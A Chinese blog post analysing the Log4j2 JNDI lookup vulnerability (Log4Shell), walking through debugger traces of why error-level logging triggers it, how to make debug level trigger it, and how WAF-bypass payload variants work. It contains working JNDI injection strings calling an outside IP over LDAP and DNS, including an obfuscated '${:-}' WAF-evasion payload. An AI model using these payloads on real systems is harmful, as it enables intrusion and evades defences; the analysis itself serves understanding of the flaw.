log4j2 rce几个疑惑点解惑

  log4j2火爆全网,这里抽空简单分析下,几个疑惑点的解答

  log4j2这波属于官方自爆:

  https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup

  官方文档lookup使用:

  

 

 稍微学过一点ldap注入的都会尝试下ldap://,哈哈哈,开个玩笑~

 漏洞本质原因是jndi:分支最后走到了lookup:

 当打印log的时候,输入的变量会被lookup污染

 /org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class

  

 

   漏洞原理没啥好讲的,一步步跟代码又臭又长. 

  先演示漏洞效果:

  测试demo:

  

package com.test;

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class test {
    private static final Logger LOGGER = LogManager.getLogger(test.class.getName());

    public static void main(String[] args)
    {
        String input = "${jndi:ldap://119.45.227.86:1234}";
        LOGGER.error(input);
    }
}

  运行代码:

  

 

   

发现vps上接收到本地发送的请求,这里不演示漏洞利用rce,点到为止,至此,漏洞利用演示完成

几个疑惑点解惑

log4j只能error执行命令解释

网传只有error等级可以触发ldap注入,而.info/debug等日志等级无法触发,这是为什么呢?我没看到网上有人分析,这里简单过一下

首先error处打断点:

  

 

 

  统一使用step into去跟函数:

  

 

 

  

继续往下跟,这是关键:

  

public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
        if (this.isEnabled(level, marker, message, throwable)) {
            this.logMessage(fqcn, level, marker, message, throwable);
        }

    }

  

  

 if (this.isEnabled(level, marker, message, throwable)) {

   跟进isEnabled函数:

  

 

 

  继续往下跟:

  

boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
    Filter filter = this.config.getFilter();
    if (filter != null) {
        Result r = filter.filter(this.logger, level, marker, msg, t);
        if (r != Result.NEUTRAL) {
            return r == Result.ACCEPT;
        }
    }

    return level != null && this.intLevel >= level.intLevel();
}

 

  其中的关键点在于最后的判断:

  

return level != null && this.intLevel >= level.intLevel();

   首选判断等级不能为空,并且当前等级要大于等级设置的等级

 

 

可以发现当前的等级是200,我们调用的error等级也是200,所以满足条件,返回true

 

 

对于满足条件的,进logMessage

通过上面的调试,我们知道了error对应的等级数值是200

查看log4j2文档,我们找到了相关的说明:

 

 

  默认this.intLevel为200,那么满足条件的有ERROR/FOTAL,测试一把:

  

 

 

 

    演示两个成功的以后,演示失败的,修改等级为debug:

  

 

 发现我们的intLevel还是200,而error级别是500了,很明显不符合条件,最终返回false

  

 

 

  直接跳出了if判断

  

 

 

  

让debug也可以触发很简单,只要修改privateConfig中的intLevel的值,当intLevel>=500即可触发

这边尝试修改配置文件,是不行的,得动态修改,修改自定义代码如下:

  

package com.test;



import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LoggerContext;

import java.util.Collection;
import java.util.Map;

public class test {
    private static final Logger LOGGER = LogManager.getLogger(test.class.getName());


    public static void main(String[] args)
    {
        Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers();
        Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers();
        Collection<org.apache.logging.log4j.core.Logger> allConfig = current;
        allConfig.addAll(notcurrent);
        for (org.apache.logging.log4j.core.Logger log:allConfig){
            log.setLevel(Level.DEBUG);
        };
        String input = "${jndi:ldap://119.45.227.86:1234}";
        LOGGER.debug(input);
    }
}

  再次运行代码:

  

 

  debug跟一下:

  

 

 

  发现我们的this.intLevel是500,满足条件

  结论:别的等级也可以触发,需要动态设置等级,如果开发自定义了等级,即可在其他等级上触发漏洞

  前面在漏洞产生原因处已经说明漏洞原因,现在直接在lookup处debug:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/net/JndiManager.class#86

 

   在error处debug:

  

 

 

  使用跳转debug,跳转到lookup:

  

 

 

  这一串利用链接,还是相当复杂的,source很难,sink很简单.

  

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
debug:327, AbstractLogger (org.apache.logging.log4j.spi)
main:27, test (com.test)

  又臭又长的分析不搞了,有兴趣的可以自己跟进去看代码.

  

 bypass waf payload语句解释

  网上出了很多bypass waf变形payload,如下所示:

  

 

 

 

  

通用的问题,我就挑两个出来讲讲,首先是upper和lower:

简单说下原理:

先在这里下断点:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

 

 

 往下跟跳:

  

 

  

手动点击进入lookup函数:

/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrLookup.class

  

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.logging.log4j.core.lookup;

import org.apache.logging.log4j.core.LogEvent;

public interface StrLookup {
    String CATEGORY = "Lookup";

    String lookup(String key);

    String lookup(LogEvent event, String key);
}

  通过idea查看接口实现类:

  

 

 

  

16个实现接口类,lower和upper看一个即可:

如果payload里包含lower:

会走lower的lookup:

/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/LowerLookup.class

  

 

 

 

 

 

  

同理jndi走jndilookup的分支,upper走upperlookup的分支

那么jndi走lookup

/Users/qixin01/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/JndiLookup.class

 

 

  其中最不解的是${:-},这个bypass变种

  这里多次debug发现问题在:

  /org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.class

  

 

会根据:-分割,所以要包含:-

${:-}会被自动处理掉

我的测试payload:${j${:-}n${:-}d${:-}i${:-}:${:-}${123::-}${:-}${:-}${:-}${:-}${:-}d${::-}n${::-}s://v p s ip:53/

 

简单分析了下,如果有错误,欢迎指出.  

posted @ 2021-12-20 15:59  飘渺红尘✨  阅读(541)  评论(0编辑  收藏  举报
Title